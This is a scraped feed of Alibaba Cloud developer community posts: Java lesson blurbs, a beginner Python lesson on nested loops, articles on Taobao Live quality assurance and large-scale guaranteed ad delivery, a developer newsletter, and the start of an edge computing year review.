        点击学习>>

        保守VS开放?看清封装对象属性

        高楼万丈,起于平地。本节通过对比正反几个实例剖析了封装对象属性的必要性,介绍了进行封装的基本原则。
        【本节目标】
        通过阅读本节内容,你将深刻理解封装对象属性的重要性,并学会如何按照Java开发标准正确地实现属性封装与通过封装的方法在类外调用其属性。
        点击学习>>

        “生而有值”—教你使用构造函数

        本节结合多组实例从多个方面介绍了重写构造函数的意义以及构造函数与setter函数的异同,指出了一些编写构造函数相关的注意事项。
        【本节目标】
        通过阅读本节,你将了解到为对象属性赋值的其他方法,学会通过对构造函数的多样化运用实现对象的快速实例化,使代码显得更加简洁、优雅。
        点击学习>>

        3分钟速懂匿名对象

        当编程过程中仅需要调用一次对象时,为了简便编程过程,减少内存负担,诞生了对象的新形态:匿名对象。
        【本节目标】
        通过阅读本节,你将了解到使用匿名对象时内存发生的变化,学会直接使用构造函数生成匿名对象便捷地满足一次性调用需求以及各类数据的灵活传递调用。
        点击学习>>

        揭开this的神秘面纱-属性篇

        本节通过几组实例介绍了如何灵活地使用this进行本类属性的调用以及this在类中的特殊含义。
        【本节目标】
        通过阅读本节内容,能够让你初步了解到作用域的概念,理解this的多种用途,学会使用this进行类内属性的访问。
        点击学习>>

        揭开this的神秘面纱-方法篇

        本节结合几组实例与实际案例介绍了使用this进行本类构造方法与普通方法的调用方法与注意事项。
        【本节目标】
        通过阅读本节内容,你将了解到借助this实现构造方法的高级重写方式,学会使用this访问类内各类方法,养成编写可重用性高的代码的良好习惯。
        点击学习>>

        一则案例带你通晓简单Java类

        本节通过集中介绍一则案例为你讲解创建一个简单Java类的注意事项。
        【本节目标】
        通过学习本节,你将了解到创建一个简单Java类时的一些规则,深刻理解“类是对客观事物的抽象”的含义,学会创建一个简单的Java类。
        点击学习>>

        了解超然物外的static-属性篇

        本节通过传统类与使用static的类之间的比较,突出了static对于存储超大量重复性数据的优异表现。
        【本节目标】
        通过学习本节,你将了解到static定义静态属性的作用,能够分辨使用static的场景,学会通过类名直接调用static属性。
        点击学习>>

        了解超然物外的static-方法篇

        本节简明赅要地指出了静态方法的一些使用场景与限制,并结合实际案例展示了一项static的用途。
        【本节目标】
        通过学习本节,你将了解到普通方法与static方法的区别,进一步理解使用static修饰方法或属性的时机,学会使用static灵活处理一些实际场景。
        点击学习>>

        千字掌握“代码块”概念

        本节通过多组案例深刻讲解了“{}”在Java世界中扮演的重要角色,简明扼要的介绍了普通代码块、构造块、静态块的异同点。
        【本节目标】
        通过学习本节,你将初步了解普通代码块、构造块、静态块的异同点以及它们在系统运行中的调用顺序,学会在不同的情况下灵活运用这几类代码块去解决实际的需求。
        点击学习>>

        六组案例一举拿下Java实体类

        本节通过六组案例以Java实体类分别描述各类客观事物,帮助读者进一步掌握Java简单类的编写。
        【本节目标】
        通过阅读本节内容,你将对如何将客观事物抽象为Java类有更加深刻的理解,并熟练掌握Java类各种属性、方法的编写与相关关键字的运用。
        点击学习>>

        ]]>
        循环嵌套打印三角形星星阵 | Python从入门到开发:入门篇之十七-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 先来回顾一下上节课讲过的while语句的循环方式以及它的实际应用。
        第十六节:while语句习题课
        下面就跟着老师一起来走进循环的“高阶”版本吧~

        循环嵌套

        按照数学老师的惯例,讲授新知识之前先来看一道例题:
        在控制台中打印如下图形:
        image.png
        打印一个5*5的星星阵。有同学就会想到,写五个输出语句就好啦:

        print('* * * * *')
        print('* * * * *')
        print('* * * * *')
        print('* * * * *')
        print('* * * * *')

        执行结果如下:
        image.png
        那如果老师要你打印100*51000*58848*5呢。。
        此时就可以利用咱们上节课讲过的循环语句来实现:

        i=0
        while i<5 :
            print('* * * * *')
            i+=1

        执行结果也是一样的。而且只需要修改条件表达式i<5中的数字,就可以实现打印100*51000*58848*5。。等等这些,那老师又提要求了,我现在想打印10列,我觉得5列太少了,你的第一想法是修改print语句里面的* 数量就可以实现,那么同样的问题来了,我想打印8848*8848怎么办呢?
        用同样的思路:同样对列使用循环,这就形成了一个循环的嵌套。具体怎么嵌套,跟着老师往下看:
        首先在里面加一个内层循环,控制列数:

        i=0
        while i<5 :
            j=0
            while j<5:
                print('* ')
                j+=1
            i+=1

        结果会发现执行结果变成了:
        image.png
        这是为什么呢?在python中,print函数是默认有一个n来控制换行的,也就是说每打印一次*之后就执行了一次换行,那这显然是不行的,我们是想让他打印五次再换行嘛,就需要在后面加一个end=''使得这个换行的功能用空格换掉,再来看一下效果:
        image.png
        结果发现它全都变成了横向的,这是因为内层的循环再执行一次5列之后还是执行了end=''所以就没有进行换行操作,此时就需要在内层循环结束加一个空的print语句,让其换行即可。

        i=0
        while i<5 :
            j=0
            while j<5:
                print('* ',end=' ')
                j+=1
            print()
            i+=1

        执行结果为:
        image.png
        这就是咱们想要的结果了。
        综上:循环嵌套时,外层循环执行一次,内层循环就执行了一圈(在这里就是5次)。内层循环控制图形的宽度,外层循环控制图形的高度。
        此时,我的需求又要变化啦,我不想打印“矩形”了,我想打印一个“三角形”。
        image.png
        那该怎么来实现呢?
        刚刚打印“矩形”的时候老师说了,外层循环控制图形的高度,内层循环控制图形的宽度,现在图形的高度依然是5,所以外层循环是不变的,那么内层循环该怎么变化呢?
        如果j的值是固定的,那么就是宽度是固定的,但是这个“三角形”的宽度是变化的,那咱们来分析一下,
        当i执行第一次i=0,图形宽度为1,那么j就是小于1;
        当i执行第二次i=1,图形宽度为2,j就是小于2;
        当i执行第三次i=2,图形宽度为3,j就是小于3。。。
        有同学就发现了,j的值是根据i来变化的,j就是小于i+1的值。程序如下:

        i=0
        while i<5 :
            j=0
            while j<i+1:
                print('* ',end=' ')
                j+=1
            print()
            i+=1

        执行结果为:
        image.png
        这样美丽的“三角形”就绘制出来啦~
        大家在理解一下这个逻辑:外层循环执行一次,内层循环就执行一圈,外层i的值在变化,就控制了内层j的值。也就控制了图形的宽度。
        练习1
        打印99乘法表

        1*1=1
        1*2=2 2*2=4
        1*3=3 2*3=6 3*3=9
        ...9*9=81

        练习2
        求100以内所有的质数
        下节课来公布答案。

        ]]>
        Oh My God,揭秘淘宝直播流畅买买买的背后!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png
        作者|马俊(东坡)
        出品|阿里巴巴新零售淘系技术部

        本文知识点提炼:
        1、淘宝直播简介
        2、四大保障手段
        3、整体质量策略

        淘宝直播简介

        ▐ 疯狂的淘宝直播

        2019 年的双十一,淘宝直播又疯狂了一把!

        双十一当天,淘宝直播成交近 200 亿!超过 50% 的品牌商家通过直播获得增长,直播成为了天猫双十一商家的标配。

        image.png

        ▐ 增长背后的挑战

        淘宝直播始于 2015 年,短短四年间打造了一个年成交千亿的行业,走出了一条与众不同的道路。在高速增长的背后是整个系统持续的稳定可靠,但是快速的业务迭代、复杂的系统设计和苛刻的成本控制给系统稳定性带来了不小的挑战。

        电商直播是音视频、实时互动和电商交易的技术结晶,相比于传统的电商媒介(图文、视频)它的技术复杂度更高。整个技术框架由音视频流链路和电商/互动逻辑链路构成。音视频流主要涉及推流节点、中心流服务和播放节点;电商/互动逻辑核心是主播中控台、实时消息通道和互动播放。这些系统涉及到不同的技术架构,它们相互复杂地交织在一起,其中任何一个系统的变更都可能影响整个业务链路和逻辑。

        image.png

        随着 4G 移动网络普及,互联网内容从文字逐步演进到了视频、直播,直播形态的各种产品遍布互联网行业。移动时代直播本身就是一种新的产品形态,当它和电商交织在一起的时候就衍生出更多的可能。业务方往往要从这千万种的可能性中摸索出行之有效的业态和模式,而这种摸索意味着高强度的迭代和尝试。淘宝直播的客户端几乎以每周一个版本的速度前进,服务端更是以日在变化,我们同时维护着 8 个端;除此之外还要承接源源不断的合作诉求和大促职责。不停的迭代和变化确实能够带来产品的进化,但是过于频繁的变更也将系统的稳定性逼到了墙角。

        image.png

        除开前述的两点之外,直播的内容形式与曾经的图文是截然不同的。更加强调实时的互动、强烈的氛围和流畅的观看,而这些特点本身又对消息通道、网络和 CDN 等软硬件资源提出了更加苛刻的要求。

        技术上必然追求最低的成本带给用户最好的体验,包括最小的带宽消耗、最大的机型覆盖、最清晰和流畅的观看体验。这就意味着,必须有一套有效的度量手段来评价我们的成本和产出让 ROI 最大化。

        四大保障手段

        淘宝直播的质量保障体系主要围绕着如何解决上述三大挑战来进行建设。限于文章的篇幅,会从最核心的四个方面来介绍如何有效地保障淘宝直播以及电商媒体的质量。

        ▐ 工具建设

        俗话说“工欲善其事,必先利其器”。前文说过直播是一个迭代频繁的业务,测试人员在频繁的迭代下不得不面临一次次的测试和反复的业务回归。当业务高度复杂功能繁多的时候,这样的测试和回归简直就是噩梦。

        以下图为例,图中展示了部分淘宝直播的互动玩法,通过主播中控台配置具体的互动玩法就能实时地投放到直播间与用户形成互动。但是不同的互动配置和不同的前端展现组合出大量的业务场景,仅靠传统的测试手段或者自动化是无法支撑的。

        image.png

        有什么更好的办法呢?回到业务逻辑实现,在拥有良好的编程规范的前提下,无论是客户端还是服务端,核心的业务逻辑实现是由各种内部或外部的接口组合而成。通过解构业务逻辑,再将接口组合成测试逻辑。仍旧以互动玩法为例,互动功能可以解构为互动服务、消息通道、主播服务和客户端渲染,将互动服务、消息通道和客户端渲染剥离再按照内置互动配置、调用消息通道接口触发客户端渲染的方式重新构建出新的功能,通过复用业务接口重新构建逻辑的方式可以将业务逻辑上不相关的能力关联起来形成一系列的测试工具。

        对整个直播系统进行抽象解构,下图“业务域”内“的主播服务”通过消息通道和服务网关利用互动服务和直播基础服务与客户端进行交互,客户端自身具备通过服务端指令进行动态或者静态渲染的能力。在“测试域”内,可以将业务域解构的各个逻辑重新进行组合。

        这种重组可以分为两个方面,客户端侧和服务端侧;在服务端侧不同的接口组合后可以重构出多维信息查询、互动模拟、开放验收等各种业务保障工具;在客户端侧基于动态、静态层和 native 的接口进行二次开发,将服务端信息和客户端本地能力聚合到测试专用的“调试浮层”便于快速能力验证、组件配置和信息透出等。

        image.png

        通过以上的思路,我们构建了成系列的直播(媒体)专用测试工具、打造了端侧媒体框架,全面提升了测试工作的效率,并以此为基础反复打磨形成一个完整的质量技术架构(见“整体质量策略-技术架构“)。

        ▐ 链路排查

        仅仅通过测试工具提升效率是不够的,在快速迭代中会发生各种线上/线下的问题,问题的快速排查准确定位至关重要。淘宝直播的系统纷繁复杂,涉及到音视频流链路和电商/互动逻辑链路,横跨服务端、CDN、移动端和PC端。通常需要使用不同的工具、平台和手段进行问题排查,而且大多数时候平台之间数据无法关联互通。

        image.png

        因此需要为复杂的直播体系构建一套全链路的排查系统。工具建设是在接口层面进行业务解构和重新组合,那么链路排查也可以复用这种思想。不同的是要进行链路抽象和简化、业务流程划分、业务数据重组和排查流程构建。更直白的说,就是将不同的业务阶段和不同的技术平台进行抽象和划分;将同一技术平台的数据按照唯一的 ID 进行聚合,再将不同的阶段同一 ID 数据进行聚合;对于聚合在同一 ID 下的数据进行诊断,利用规则匹配、智能算法和人工经验;同时结合线下的测试工具,协助快速调试和复现。

        image.png

        ▐ 数据分析

        通过工具建设和链路排查再结合自动化手段,建立了高效的线上线下的质量保障能力;然而链路排查仅解决了具体的问题,对于系统和业务全局层面需要了解更多,例如线上整体质量状况、潜在问题的发现和预防、业务/技术效果评价等等。

        在链路排查中,已经将不同业务阶段和技术阶段的数据进行了聚合和分析,在这些数据的基础上进行再加工,包括清洗、计算、聚合和分析,就能够将这些数据更有效地组织起来进行利用。

        基于这样的想法,我们设计了一套数据分析的方法将数据划分为“大盘数据”、“纬度数据”、“详情分析”三个层次。

        大盘数据主要针对线上的某个横向层面的整体分析和监控,一般划分为“业务”、“技术”、“舆情”、“异常”四个方面,大盘数据的波动意味着某个环节发生了问题。

        在大盘的基础上按照不同的业务域和技术域进行拆分,每个域代表一个纬度的变化,每个纬度由多组该域内的指标构成;一般我们按照不同的端来划分技术域,按照不同的业务场景来划分业务域(图中仅为示意)。

        当大盘、纬度划分清楚后,每个细节的数据指标都会归属到相应的“大盘”-“纬度”之下,再对这些细节的指标提供对比、趋势分析、多维度聚合等分析工具从而实现从全局到细节的分析和监控,针对特定的指标结合监控系统就能进行有效的告警。

        image.png

        这一整套数据分析的方法都建立在实时和离线的大数据分析平台之上。首先通过各端的上报工具采集原始数据形成实时数据流和转储的离线数据表;实时数据流通过实时计算平台(阿里云实时计算)对数据流进行清洗和计算;计算完成后将数据转储到搜索引擎,由引擎负责索引、排序和聚合;最后通过引擎接口返回给服务端,服务端可以对引擎提供的数据进行二次加工。

        在整个过程中如果实时计算任务出现异常或者丢失,可以通过转储到离线表的数据进行补偿计算再流入到搜索引擎。

        image.png

        ▐ 媒体质量

        工具建设(技术框架)、链路排查和数据分析提供了通用的质量保障能力,可以被应用到直播或者多媒体之外的场景。而音视频(直播)有自身的特点,例如画质清晰度的要求、CDN带宽的消耗和移动端的性能限制等,需要媒体专项来保障,因此我们将这些专项定义为媒体质量。

        媒体质量总结为三大测试专项和两个建设领域,三大测试专项指的是“特性测试”、“(媒体)SDK测试”、“专项测试”,两大建设领域分别是“音视频实验室建设”和“标准化建设”。

        • 特性测试(画质、特效、卡顿、延时等)

        构建一套通用的媒体特性测试框架,对媒体的特性进行检测和评估

        • SDK测试(推流、播放、剪辑三大SDK )

        构建统一的媒体demo、统一的SDK测试和报告、

        • 专项测试

        覆盖各端的性能指标、渲染能力评估,同时与竞品对比

        • 音视频实验室建设

        统一的线下物理实验室、模拟各种光照、音源、采集环境

        • 标准化建设

        媒体质量评价的核心,三统一(环境统一、流程统一、标准统一),一体化执行结果可沉淀可分析

        image.png

        重点介绍下特性测试框架,整个框架由推流端的“预处理模块”、网络端的“可编程网络控制”、播放端的“分析模块”以及“评估模块”四部分块构成。

        • 预处理模块

        通过hook的方式实现在推流侧统一采集内容、定制单帧检测点;

        • 可编程网络控制模块

        通过程控方式来调节推流端到播放端的网络环境,自动实现网络环境切换统一网络参数;

        • 分析模块

        主要是负责抓取播放端解码YUV数据并结合帧检测点和评估算法进行特性分析;

        • 评估模块

        提供了不同的特性评价方法可以被分析模块调用。

        通过这套框架,模拟完整且标准化的媒体场景,通过调节帧检测点、采集内容、网络参数、编解码参数等实现媒体特性的专项测试。

        image.png

        整体质量策略

        通过这四年从无到有的摸索,淘宝直播和媒体电商业务最核心的质量策略可以抽象为一个核心思想、一套技术架构和一份能力模型。

        ▐ 核心思想

        • 质量体系必须是平台化的
        • 质量体系不仅仅服务测试
        • 质量体系必须数据说话

        image.png

        ▐ 技术架构

        • 双端技术框架和全栈开发能力
        • 核心技术是大数据分析和媒体技术

        image.png

        ▐ 能力模型

        • 链路排查将逐渐成为系统质量保障标配能力
        • 测试团队应当建设业务专项能力深度(多媒体专项)

        image.png

        We are hiring

        淘系技术质量部电商丰富的场景,广阔的平台等你一起来挑战!
        在这里你可以接触到全链路压测、海量的数据处理、人工智能推荐算法等领域;可以涉猎业界最前沿的测试技术、定期而丰富的技术分享;还可以与层层选拔的各路优秀同学共同战斗,共同成长!
        欢迎测试开发工程师/专家加入我们,让科技引领面向未来的商业创新和进步。
        简历投递至]]> 10亿计算下的合约广告,如何做个性化投放?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者| 荣纯

        一、导言

        合约保量广告(Guaranteed Delivery)是一种常见的品牌展示广告采买方式,现有的技术解决方案通常是在人群粒度上对问题进行抽象和建模,这种建模方式一方面忽略了相同人群下用户行为的差异,另一方面无法对用户粒度的约束进行精确的控制。

        目前学术界关于合约广告流量分配问题的研究,通常会将这个问题抽象为合约侧-供给侧的二部图匹配问题,但目前的分配策略是停留在人群和标签粒度上,这要求人群和标签的划分必须是正交化的;除此之外,在人群层次上进行合约保量分配也还有不少局限性。

        首先,由于只在人群层面进行分配,无法通过精准的用户行为预测将用户的个性化行为匹配至正确的广告,会降低广告主的投资回报率,进一步的降低广告平台的未来收入。其次,广告主通常会提出复杂的投放控制要求,比如在用户粒度的频次控制约束,一个典型的做法是,为了能够提高固定预算下的uv触达,广告主往往会限制单个uv的曝光频次。因此,传统的人群标签粒度分配的低效性使得其很难适用于目前的合约广告投放产品。

        在本文中,我们尝试建立一个大规模分布式的合约广告投放分配算法,并在其中引入用户个性化的投放指标,在考虑用户交互行为的基础上,在用户粒度进行合约广告的投放分配工作。我们的算法可以处理复杂的约束,例如广告优先级,广告的展示频控以及广告贴位容量限制等。在这个基础上,我们还开发了实时预算平滑策略,通过预算平滑控制进一步优化广告的投放效果(如单位点击成本CPC)。目前我们的系统在阿里妈妈品牌展示广告实际承载了十亿规模的离线计算任务并在线应用,我们也将在最后给出离线和在线的实验结果来验证方案的的准确性。

        二、问题定义

        1201.png

        这是一个经典的online assignment的问题,在数据规模较小且全局信息已知的情况下,使用匈牙利算法、网络流算法和混合整数规划方法都可以获得理想的最优解。但是对于互联网广告投放系统而言,数据规模很大,而且由于性能要求,对于一个请求,不可能也没办法确定全局信息。

        1201.png

        1201.jpg

        1201.png

        1201.png

        1201.png

        1201.png

        1201.png

        以上就是对问题的定义和描述,众所周知淘系用户日均DAU的规模是亿级别以上,而广告每天也成百上千的规模,在这样一个大规模求解的背景下,难点在于如何对这个问题进行求解并保持提供高并发、低延迟的广告服务。为此我们在离线阶段对这个问题进行了大规模的分布式求解,而在线阶段为了能够适配流量的变化情况,我们开发了独立的pacing模块来进行流量的平滑控制。

        三、系统实现

        3.1 系统描述

        1201.png

        上图是我们系统的整体架构图和整体的数据流程,主要包括面向广告主订单签订的CRM管理系统,离线算法和在线引擎部分。广告主作为管理平台和广告主之间的桥梁,主要用于订单信息的制定,包括人群圈选,流量询量,在线合约签单,创意信息绑定等。离线的处理框架将会同步这些合约信息,并与获取的离线日志一起,通过基于PS架构的分配优化模型进行离线分布式算法求解,将计算结果导入到Model中并同步至在线系统。最后当实时请求到来时,Merger作为在线的引擎,将请求RTP服务,pacing服务,和分配模型服务,经过离线的分配算法模型,得到最终投放的广告并返回给前端客户端展示。

        3.2 离线优化

        离线的部分算法分为2个阶段,第一个阶段我们将原问题转化为其对偶形式,通过并行化求解得到问题的对偶变量。第二阶段,由于现实投放优先级的影响,我们通过离线拓扑排序的方式,给出并行加速的方案,从而使得大规模数据集上的求解效率大幅度提升。

        3.2.1 阶段一分布式求解

        1201.png

        对于我们的问题而言,用户的的量级远远大于合约的数量,所以求解合约侧对偶的的计算代价会远远大于供给侧。我们通过分布式计算的方式进行水平扩展,将供给侧对偶变量的计算分布在ps的worker节点上。而对于供给侧来说,其更新的过程放在server上,woker通过pull的方式获取最新的对偶变量。观察合约侧的对偶变量约束,我们发现其等式求解规模和广告主人群的规模是一致的,这个计算量对于通常的计算而言往往过于巨大,因此我们采用一种近似的方法来计算和更新这个对偶变量。注意到在更新的过程中,这个变量是一个保持单调递增的过程,相邻两轮的迭代满足这样一个不等式:

        1201.png

        1201.png

        上述伪代码是我们更新对偶变量的算法描述,而关于供给侧对偶变量的求解,我们很容易注意到一个结论:

        3.2.1-(7).png

        而且关于这个方程的目标是单调的,因此可以通过二分求解的方式得到结果,具体过程我们在这里不进一步描述。

        3.2.2 阶段二并行优先级加速

        1201.png

        1201.png

        注意到原始的计算过程中 是单独顺序计算的,在数据规模较小的情况下,这个计算量尚可接受,但是当合约数量达到一定规模后,比如上万的规模,计算效率明显比较低下。而之前的性质告诉我们,对于任意2个正交的人群,他们的计算过程并没有优先级的重叠,因此是可以并行计算的。举个简单的例子,对于定向北京和上海的2个用户群来说,即便优先级存在不同,但是由于互相没有重叠,一个对偶的占量并不会影响另一个定向的库存,这样2个任务是完全可以并行计算的。

        1201.png

        在这个前提下,我们在离线构建二分图的时候,由于保存了每个用户的合约广告挂载情况,从而可以得到每个用户的实际订单的优先顺序,如上图所示,根据原始的订单分配顺序,进一步可以得到所有订单的DAG大图。最后很容易通过拓扑排序的方式得到我们优化后的并行化执行序列。接着拿上图进行举例,原始的更新顺序是[A] → [H], 通过DAG图的构建以及最终拓扑排序的结果,我们最终得到[A, B] → [C, D, E] → [F, G] → [H]这样只有4个需要处理的批次,相比于原先8个批次的执行,效率可以提升近一倍左右,而在实际的实验中,这个优化的效率提升会更加明显。

        1201.png

        3.3 在线pacing

        之前的大多数展示投放,尤其是合约保量这里,许多系统采用了轮盘赌的方法或者是贪心算法来进行在线投放。由于在投放之前,我们模型的对偶变量已经确定,对于未来的投放概率往往是不可改变的,这样会带来一个问题,投放的结果将严重依赖于流量预估的结果,这会导致线上缺量或者超投的情况发生。为了能够及时的适应流量分布的变化,我们在合约投放之后增加一个pacing的调控模块。我们注意到相比于天级别的流量波动,分钟级别的波动往往比较小,因此我们可以在分钟级这个level上,进行实时的调控。

        1201.png

        1201.png

        1201.png

        区别于之前合约保量的HWM算法和SHALE算法,我们改进了线上的投放方式,原有的轮盘赌方式本质上在效果层面随机选择广告,对于展示效果而言会有信息损失。如果直接贪心选择效果最好的投放,在线上由于分配占量的问题,会有投放缺量风险,通过将pacing和XSHALE这两种方式结合在一起,引入实时的pacing调控,使得我们的方法可以更好适应线上流量的变化。

        四、实验结果

        我们在淘宝的数据集上进行离线的验证,这些数据收集于手淘banner和猜你喜欢的合约广告。在离线阶段我们会验证求解对偶变量的正确性和高效性,同时用实际的线上A/B测试来验证我们离线模型和在线pacing服务的正确性。

        4.1 离线实验

        我们和GD的经典算法HWM算法和SHALE算法进行比较,除了求解时间外,算法指标方面我们从投放完成率,惩罚项,L2-Norm和平均点击成本这四个指标来评测。四个指标的定义分别如下所示:

        1201.png

        1201.png

        离线指标评测如下表和下图所示,在各种情况下与其他方法相比,我们的系统都能将CPC降低近50%。虽然我们在完成率,惩罚项和L2-Norm中有一些收益的损失,但与CPC降低幅度相比,我们可以接受这些损失。时间性能方面,HWM是最快的,因为它仅运行一次迭代。

        但是,与SHALE和我们的方法相比,HWM的投放性能相对较差,线上不具备使用的可能。由于我们考虑了多目标的分配, SHALE在完成率方面略胜于我们的方法。但是我们的方法在改进投放指标方面有显著的的提升。如之前所述,广告分配问题的一个瓶颈是求解对偶变量α和β的时间。我们采用了并行化的方案以及基于DAG中拓扑排序的加速调度方式,可以更加快速的计算对偶变量α和β,这种加速比在大数据上的优势会更加的明显。

        1201.png
        1201.png

        进一步分析发现,通过DAG中拓扑排序的加速调度方式,可以大幅度的提升求解性能。我们在真实的7天日常任务上进行测试,用OriginBatch来表示不经DAG加速的迭代轮数,用Reduce Batch来描述加速后的迭代轮数,可以很明显的看到,相比串行的方式,使用DAG的任务可以有效地将计算速度提高14倍左右。

        1201.png

        我们给出了超参learning rate的调参比较,可以很明显的看到,在learning rate取值较小时,其收敛速度是较慢的,当取值逐渐增大,其收敛速度会显著上升,而当learning rate过大时会在最优解周围出现震荡,极端情况l=2.0时,和最优解的距离相差非常之大,就我们的系统而言,我们通常将learning rate设置在0.5到0.7之间。

        1201.png

        最后我们测试了超参λ对投放完成率和平均每次点击费用的影响。 可以看到平均CPC随λ的增加而单调下降,也就是说如果想获得更大的平台收益,增大λ似乎是一个不错的选择,但是当λ特别大时,不仅造成了完成率的下降,点击成本也并不会进一步的下降,这样会导致缺量的发生,因此我们一般会控制完成率的损失在一定的范围内,如在1%-3%之间。

        1201.png

        4.2 在线实验

        我们在手淘场景中对我们的方案进行了真实的线上测试,我们用线上的真实点击率来评估我们的投放指标。实际在线A/B实验中,采用预算分桶的测试机制来保障各个实验是在相同的预算下进行的。我们和基于贪心投放的基准算法以及传统SHALE算法进行了对比。而为了能够验证平滑pacing的作用,我们增加了SHALE-CLICK算法,即考虑点击效果,但不考虑pacing,采用轮盘赌方式进行投放。

        从图a的曲线上看,使用我们的策略得到的投放曲线最为平滑,基于贪心的基准算法在开始就花费了一半以上的预算。接下来表现不错的是SHALE算法和SHALE-CLICK算法,通过轮盘赌的方式一定程度上进行了平滑的控制,但是由于线上流量分布的变化与离线并不完全一致,导致效果并不是最优的结果。

        1201.png

        图b给出了不同算法分桶下的实时累计平均点击率,可以看到考虑点击建模的SHALE-Click算法的表现优于贪心基准算法和SHALE算法。贪心算法由于投放过快,导致其流量优选的空间受到了限制,其表现最差。在pacing算法的平滑下,我们的算法表现最佳,在刚开始投放的过程中就显示出比较明显的优势。如图c所示,实验结果显示我们的方法在点击率方面相比baseline提升22.7%,相比SHALE提升21.2%,相比SHALE-CLICK提升10.6%。实验充分表明了我们算法的有效性。

        五、总结

        通过将用户的和广告的交互指标纳入到分配的目标中去,通过设计离线分布式算法和在线的实时调控算法,可以大幅度的提高合约保量广告的投放效率和合约完成情况。在线的分桶实验进一步表明我们的算法可以在为合约广告平台提供更多收益的同时提升广告主的品牌营销效果。以上工作被 ICDM'19 以长文录用,请参见《Large-Scale Personalized Delivery for Guaranteed Display Advertising with Real-Time Pacing》

        编者按:我们是阿里妈妈品牌展示广告团队,一支以 90 后为主的年轻团队,急招算法工程师(base杭州/北京)请联系 brandship@alibaba-inc.com

        ]]>
        阿里巴巴D2 前端论坛最全视频来了!(附PPT下载) | 6大专题持续更新 | 开发者必读(124期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        阿里巴巴D2 前端论坛最全视频来了!(附PPT下载) | 6大专题持续更新

        D2 前端技术论坛 (Designer & Developer Frontend Technology Forum, 简称 D2),是由阿里经济体前端委员会主办的面向全球前端领域的技术论坛,立志于建设一个促进业内交流、引领前端领域发展的平台。目前 D2 已经成功地举办了13届,为国内外前端领域的开发者和设计者提供了共同探讨行业发展的机会,以技术会友、一起分享技术的乐趣。

        12 月 14 日,第十四届 D2 前端技术论坛在杭州圆满举办。来自全国各地的近千名开发者齐聚杭州,聆听 3 大会场、来自 24 位海内外嘉宾的 21 个主题分享。今天,开发者社区整理了6大演讲主题中10位精彩演讲者的视频,供大家交流学习。


        最强干货

        PHP 依赖镜像出问题后,阿里工程师的一顿“神操作“令人叫绝!

        上个月,PHP开发者在网上纷纷反映出现 Composer 镜像无法访问的问题。阿里云内部一位 90 后工程师顾咏连夜开工排查,快速解决问题后,他在问题群里收到了一大波来自用户的红包。顾咏最后谢绝了红包,接受了阿里技术的邀请,来聊一聊这次事件问题背后的技术。

        2019 年 AI 领域都发生了什么?

        回首即将逝去的 2019 年,在人工智能领域中,都有哪些可圈可点的地方呢?《生成式深度学习》(Generative Deep Learning)(O’ Reilly Media 2019 年出版)一书作者 David Foster 为我们进行了回顾,对人工智能世界在这一年来发生的事情进行了大盘点。

        Java开发者,请停止学习框架

        假设你面前有两个应聘者,一个对框架特别熟,但是对基础知识一点都不懂;另一个对框架一点都不熟,但是基础知识特别懂。


        每天读本书

        循环嵌套打印三角形星星阵 | Python从入门到开发:入门篇之十七

        本章节讲授如何进行循环的嵌套使用。


        精品公开课

        50行代码玩转强化学习

        强化学习是当前人工智能领域比较热的一个方向,因为其入门门槛相对于其他人工智能方向比较高,因此往往都是听说强化学习很厉害但是没有接触或者用过。本次分享,结合一个优秀的强化学习框架huskarl以及Gym来讲解如何使用50行代码利用TensorFlow2.0高阶API,一步一步的、手把手的教你如何快速实现一个强化学习项目。


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        年度大盘点 | 一文带你回顾阿里云边缘计算的2019-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在5G万物智联时代,云计算逐步向分布式计算网络架构演进,边缘计算来到爆发前夜。它是连接5G商用潜能的助推器,是引领数据中心变革的技术支撑,为产业数字化转型和城市智慧化建设提供近终端、低延时、更经济的算力基础。

        为了构建“离用户更近的计算”,阿里云始终奔跑在边缘计算的进阶之路上。下面让我们一起回顾,2019年阿里云边缘计算的「大事记」吧~

        1月 边缘节点服务ENS 2.0发布

        ENS 2.0引入MEC资源,将飞天算力调度、容器、函数、安全、大数据与AI等技术能力进一步融合释放,建立了“融合、开放、联动”的边缘计算平台,将计算能力进一步推进至用户10公里生活圈。同时,ENS 2.0也提供了更加弹性灵活、形态多样的分布式算力资源,并支持全面按量付费,算力、存储、带宽按天按月出账计费,帮助使用者进一步降低启动资金以及应对弹性业务需求。
        图1.png

        3月 边缘节点服务ENS正式上线OpenAPI

        边缘节点服务ENS正式支持用户使用阿里云OpenAPI调用和管理边缘实例。基于ENS OpenAPI提供的创建、查询、管控能力,用户可以轻松构建针对边缘节点的自助运维体系。

        4月 荣获“5G MEC优秀商用案例奖”

        在2019中国联通合作伙伴大会上,阿里云“基于5G边缘计算的新零售应用案例”荣获2019年度MEC优秀商用案例奖。该方案基于5G热点覆盖,将视频通过稳定可靠的链路回传,并借助MEC实现视频业务本地分流和视频AI本地分析。云+网+业务一体化交付模型,让新零售产业从传统的自建IT基础设施及运维工作之中解放出来,转变为灵活按需一键启用边缘计算服务,大幅度减少综合投资成本,简化运维。点击查看详细新闻。

        图2.png

        6月 阿里云成为中国联通5Gⁿ+边缘云创新业务运营中心首批商用合作伙伴

        2019年世界移动通信大会期间,中国联通5Gⁿ+边缘云创新业务运营中心正式成立。阿里云作为首批商用合作伙伴加入,双方将充分发挥各自技术优势,在边缘计算MEC节点、技术验证、产业应用等多方面展开深度合作,共同推进标准建设与5G应用场景创新。

        图3.png

        7月 国内首个全域边缘节点服务发布

        300+边缘节点算力100%覆盖中国大陆31个省区的三大运营商与热门地区的三线城市,全域节点带宽分区定价,满足不同地区差异化需求,更好满足网络质量敏感、时延敏感、广覆盖、流量本地化的各行业客户为体验的追求。自此阿里云边缘计算正式宣告进入“无处不在”的全新篇章。点击查看详细新闻。

        图4.png

        8月 发布边缘K8s和容器解决方案

        边缘节点服务ENS打通容器服务,支持边缘实例接入容器托管集群,赋能开发者DevOps轻松落地,统一进行资源管理与调度、镜像分发、自助运维和云端监控,极大简化了运维工作复杂度。

        9月 阿里云定义边缘计算为城市计算

